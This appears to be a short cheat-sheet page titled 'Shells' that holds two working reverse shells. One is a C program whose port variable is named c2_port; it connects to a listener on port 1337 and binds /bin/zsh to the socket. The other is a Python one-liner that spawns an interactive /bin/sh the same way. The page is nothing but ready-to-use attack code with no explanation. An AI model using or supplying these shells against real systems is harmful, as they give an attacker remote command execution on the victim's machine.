Shells

pure.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;
    int c2_port = 1337;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr("127.0.0.1");
    sa.sin_port = htons(c2_port);

    s = socket(AF_INET, SOCK_STREAM, 0); 
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execl("/bin/zsh", "/bin/zsh", 0);
    return 0;
}

shell.py

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'